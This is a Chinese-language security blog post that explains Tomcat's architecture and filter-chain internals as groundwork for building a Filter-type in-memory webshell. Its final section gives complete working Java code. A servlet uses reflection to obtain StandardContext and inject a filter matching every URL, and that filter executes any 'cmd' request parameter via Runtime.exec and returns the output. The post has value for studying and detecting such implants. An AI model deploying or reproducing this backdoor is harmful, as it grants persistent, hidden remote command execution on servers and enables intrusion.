Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马
写在前面
现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马。而对于内存马的支持也是五花八门,甚至各大公司都有自己魔改的webshell管理工具,下面就从Tomcat开始学习内存马部分内容。
内存马主要分为以下几类:
servlet-api类
- filter型
- servlet型
spring类
- 拦截器
- controller型
Java Instrumentation类
- agent型
Tomcat基础知识
首先简单说下Filter
Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。
- 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
- 每一次请求时都只调用方法doFilter()进行处理;
- 停止服务器时调用destroy()方法,销毁实例。
web.xml对于三大组件的加载顺序是:listener -> filter -> servlet
再看一下Tomcat的架构
其中涉及到很多Tomcat的组件
Server: Server,即指的WEB服务器,一个Server包括多个Service。
Service:
Service的作用是在
Connector
和Engine
外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个Service
可以包含多个Connector
,但是只能包含一个Engine
,其中Connector
的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。后面再来细节分析Service。Connector:
Tomcat有两个典型的
Connector
,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求 Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。Engine:
Engine下可以配置多个虚拟主机,每个虚拟主机都有一个域名,当
Engine
获得一个请求时,它把该请求匹配到某个Host
上,然后把该请求交给该Host
来处理,Engine
有一个默认虚拟主机,当请求无法匹配到任何一个Host
上的时候,将交给该默认Host来处理。Host:
代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配 每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==""的Context将成为该Host的默认Context,所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。
Context:
一个Context对应于一个Web Application,一个
WebApplication
由一个或者多个Servlet组成 Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml
和$WEBAPP_HOME/WEB-INF/web.xml
载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。
Connector
Connector也被叫做连接器。Connector将在某个指定的端口上来监听客户的请求,把从socket传递过来的数据,封装成Request,传递给Engine来处理,并从Engine处获得响应并返回给客户端。
Engine:最顶层容器组件,其下可以包含多个 Host。 Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。 Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。 Wrapper:一个 Wrapper 代表一个 Servlet。
ProtocolHandler
在
Connector中,包含了多个组件,
Connector使用
ProtocolHandler处理器来处理请求。不同的
ProtocolHandler代表不同连接类型。
ProtocolHandler处理器可以用看作是协议处理统筹者,通过管理其他工作组件实现对请求的处理。
ProtocolHandler包含了三个非常重要的组件,这三个组件分别是:
- Endpoint: 负责接受,处理socket网络连接 - Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request - Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了 ServletRequest接口、ServletResponse接口的对象。
请求经Connector处理完毕后,传递给Container进行处理。
Container
Container容器则是负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块。
Container 处理请求,内部是使用
Pipeline-Value管道来处理的,每个
Pipeline都有特定的
Value(BaseValue),BaseValue 会在最后执行。上层容器的
BaseValue会调用下层容器的管道,
FilterChain其实就是这种模式,
FilterChain相当于
Pipeline,每个 Filter 相当于一个 Value。4 个容器的
BaseValve分别是
StandardEngineValve、
StandardHostValve、
StandardContextValve 和StandardWrapperValve。每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫
BaseValve,
BaseValve是不可删除的。
过滤链:在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称 过滤器链)。
如果做过Java web开发的话,不难发现在配置Filter 的时候,假设执行完了就会来到下一个Filter 里面,如果都
FilterChain.doFilter进行放行的话,那么这时候才会执行servlet内容。原理如上。
整体的执行流程,如下图:
ServletContext
javax.servlet.ServletContextServlet规范中规定了的一个
ServletContext接口,提供了Web应用所有
Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的
ServletContext,它代表当前Web应用。并且它被所有客户端共享。这个是Servlet中的概念,
ServletContext的方法中有
addFilter、
addServlet、
addListener方法,即添加
Filter、
Servlet、
Listener
获取ServletContext的方法:
this.getServletContext(); this.getServletConfig().getServletContext();
ApplicationContext
org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足
Servlet规范,必须包含一个
ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。这里的ApplicationContext类似于Servlet API中的ServletContext,在
addFilter、
addServlet、
addListener方法。
StandardContext
Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。 一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)
以上内容摘抄自:https://www.cnblogs.com/nice0e3/p/14622879.html
Filter Chain与Filter创建分析
因为本文主要是实现一个Filter型的内存马,所以需要在内存中动态注册一个恶意的filter来实现内存shell,这其中就涉及到Filter Chain(过滤链)的实现以及Filter执行的先后顺序问题,所以先创建一个普通的Filter来看一下在Tomcat中的处理流程。
先创建一个Filter,配置路由,在doFilter处下断点debug
@WebFilter("/demo") public class demoFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("UTF-8"); servletResponse.setCharacterEncoding("UTF-8"); System.out.println("Filter run start......"); filterChain.doFilter(servletRequest,servletResponse); //让我们的请求继续走,如果不写,程序到这里就被拦截停止。后面还有其他过滤器,需要把这次的req和resp传给后面的Filter System.out.println("Filter run stop......"); } @Override public void destroy() { } }
一般开发写的filter都会有
filterChain.doFilter(servletRequest,servletResponse);,让filter继续往后走,保证过滤链不会在这里中断,我们跟入进去,在
catalina.jar!/org/apache/catalina/core/ApplicationFilterChain.class#doFilter方法中先做了判断
Globals.IS_SECURITY_ENABLED,该值判断是否设置了SecurityManager,默认未开启,跳入else中
internalDoFilter方法
在internalDoFilter方法中,先通过
filterConfig.getFilter()方法获取到filter实例,之后走到该filter实例中的dofilter方法,也就是filer chain中,通过dofilter方法可以按顺序层层迭代及获取已经注册的filter实例并调用执行filter中的dofilter方法,来实现一个过滤链。
也就是说当我们存在一个可执行任意代码的点,我们在动态注册好恶意的filter后可以通过下面这条链来进入我们恶意的filter#doFilter()方法中执行代码,调用过程如下:
filterChain.doFilter() this.internalDoFilter() filter.doFilter()
那后面就是找如何调用这里的
filterChain.doFilter,回溯调用栈,在
catalina.jar!/org/apache/catalina/core/StandardWrapperValve.class#invoke方法中,调用了
filterChain.doFilter方法
浏览整个invoke方法,在上面发现通过
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);将客户端输入的request、
StandardWrapper wrapper、
Servlet servlet作为参数传入createFilterChain方法创建了过滤链(FilterChain)
跟入
ApplicationFilterFactory.createFilterChain方法,在其中通过拿到
StandardContext上下文获取到
FilterMaps而
FilterMaps中保存了我们注册好的Filter
继续往下看,之后就是遍历上面拿到的
FilterMaps,并对其进行判断,当前请求与请求的url和本次迭代拿到的filter匹配时,并根据本次迭代的Filter名称在StandardContext中也能找到相应的FilterConfig对象(在 FilterConfig中主要存放 FilterDef 和 Filter对象等信息),那么就会将该FilterConfig添加到Filterchain中。
简单提一下matchDispacher方法中的参数dispatcher:
dispatcher 表示在过滤用户的请求时,过滤什么类型的请求?Forward,Request,Include,Error,Async,一般web就是Request。
那么现在调用过程如下:
StandardWrapperValve.invoke() ApplicationFilterFactory.createFilterChain() StandardContext context = (StandardContext)wrapper.getParent(); FilterMap[] filterMaps = context.findFilterMaps(); filterChain.addFilter(filterConfig) filterChain.doFilter() this.internalDoFilter() filter.doFilter()
贴一张宽字节的图
Filter创建流程
以平常开发的流程为例的话,一般都是在web.xml中注册,将url和filter类进行绑定从而创建filter。
从代码方面注册可以通过StandardContext入手,StandardContext会加载web.xml中的配置来创建Servlet、Filter
其中包含了3个有关filter的属性
private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap(); private Map<String, FilterDef> filterDefs = new HashMap(); private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
内存马实现
那根据参考文章的话,只需要拿到StandardContext并设置好这三个属性值即可。
尝试构造
import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedInputStream; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.Map; @WebServlet("/demo2") public class FilterMemshell extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { final ServletContext servletContext = req.getServletContext(); Field appctx = null; try { appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String FilterName = "FilterMemshell"; Field configs = standardContext.getClass().getDeclaredField("filterConfigs"); configs.setAccessible(true); Map filterconfigs = (Map) configs.get(standardContext); if (filterconfigs.get(FilterName) == null){ Filter filter = new Filter(){ @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); if (cmd!=null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream); int len; while ((len = bufferedInputStream.read())!=-1){ servletResponse.getWriter().write(len); } } } @Override public void destroy() { } }; //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加 Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterDef o = (FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o); //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去 Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1); //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去 Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); org.apache.catalina.core.ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterconfigs.put(FilterName,filterConfig); resp.getWriter().write("Success"); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doGet(req, resp); } }
Reference
https://xz.aliyun.com/t/7388#toc-2
- Java安全之基于Tomcat的通用回显链
- Java安全之基于Tomcat的Servlet&Listener内存马
- java应用 tomcat中实现https安全连接的方法
- Java与Flex学习笔记(7)----将Spring与Flex整合(基于嵌入式tomcat)(2012-07-24 更新)
- 基于 Java 2 运行时安全模型的线程协作
- NoSQL数据库:MongoDB安装、启动和基于JAVA、PHP的一般操作和用户安全设置
- 利用Dockerfile构建一个基于centos 7,包括java 8, tomcat 7,php ,mysql+mycat的镜像
- 基于Spring MVC和Tomcat服务器的JavaWeb项目----入门篇
- Linux搭建java web服务器环境(jdk7+tomcat7+mysql5.5 基于CentOS 6.5)
- Java web的乱码问题(基于Tomcat)
- 基于Tomcat7、Java、WebSocket的服务器推送聊天室 (转)
- tomcat dbcp 基于jndi当配置java.sql.SQLException: Already closed
- Tomcat学习总结(4)——基于Tomcat7、Java、WebSocket的服务器推送聊天室
- 使用eclipse的tomcat插件部署基于maven的Java web工程
- [入门]基于Spring MVC和Tomcat服务器的JavaWeb项目
- 基于java config的springSecurity(四)--启用全局方法安全
- Java客户端连接elasticsearch5.5.3实现数据搜索(基于xpack安全管理)
- java应用tomcat中实现https安全连接的方法
- 【基于服务器的Java安全产品】
- tomcat dbcp 基于jndi配置时出现java.sql.SQLException: Already closed